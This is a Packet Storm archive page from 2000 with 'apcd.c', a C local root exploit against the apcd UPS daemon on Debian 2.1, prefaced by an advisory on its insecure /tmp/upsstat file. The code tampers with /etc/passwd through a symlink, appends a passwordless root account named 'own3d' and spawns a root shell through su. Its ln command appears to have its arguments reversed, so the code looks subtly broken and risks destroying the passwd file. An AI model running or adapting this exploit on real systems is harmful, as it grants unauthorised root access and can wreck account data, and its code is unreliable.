what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

apcd.c

apcd.c
Posted Jun 19, 2000
Authored by WC

Debian 2.1 local root exploit - A vulnerability exists in the apcd package shipped with Debian 2.1.

tags | exploit, local, root
systems | linux, debian
SHA-256 | f7ca16d4ea9299fd7aef4c4a72b95848377702b1feeccf9d2d657e4193b25dbe

apcd.c

Change Mirror Download
/*

Apcd Local Xploit by wC (wildcoyote@gk-team.org)

Vulnerable Systems:

Debian GNU/Linux 2.1

WARNING: THIS CAN FUCK UP YOUR /etc/passwd ... :\
What i mean is, i create a copy of it..but,
i have to wait for the SIGUSR1 to be sent..
so r00t can become suscpicious :\
Oh well..if don't care :P

Advisorie:

A vulnerability exists in the apcd package, as shipped
in Debian GNU/Linux 2.1. By sending the apcd process a
SIGUSR1, a file will be created in /tmp called upsstat.
This file contains information about the status of the
APC device. This file is not opened securely, however,
and it is possible for an attacker to create a symlink
with this name to another place on the file system. This
could, in turn, lead to a compromise of the root account.

apcd is used to monitor information from APC
uninterruptable power supplies. The ups will inform the
apcd that power has been removed, and the apcd will shut
down the machine.

*/

#include <stdio.h>

main()
{
char buf[256];
FILE *fx1,*fx2;
printf("\n\tApcd Local Xploit by wC (wildcoyote@gk-team.org)\n\n");
printf("Setting up exploit...\n");
system("cp /etc/passwd /tmp/.hidden_passwd"); // backup passwd!
printf("Linking the upsstat tmp file to /etc/passwd...\n");
system("ln -sf /tmp/upsstat /etc/passwd");
printf("Done =)\n");
printf("Wait for SIGUSR1 to be sent...\n");
fx1=fopen("/tmp/.hidden_passwd","r");
fx2=fopen("/etc/passwd","a");
while(fgets(buf,256,fx1)!=NULL) fputs(buf,fx2);
fclose(fx1);
fputs("own3d::0:0:/:/bin/sh",fx2);
fclose(fx2);
printf("All done..lets try and su own3d :P\n");
system("su own3d");
printf("Oh k...fun is over =)\n");
printf("Now i'll put passwd back in its place :P\n");
system("mv /tmp/.hidden_passwd /etc/passwd");
printf("Hope everyting went out sm0thly..\n");
printf("Greetz to my team, Genetik Techonlogies www.gk-team.org\n\n");
}
/* www.hack.co.za [14 June]*/
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close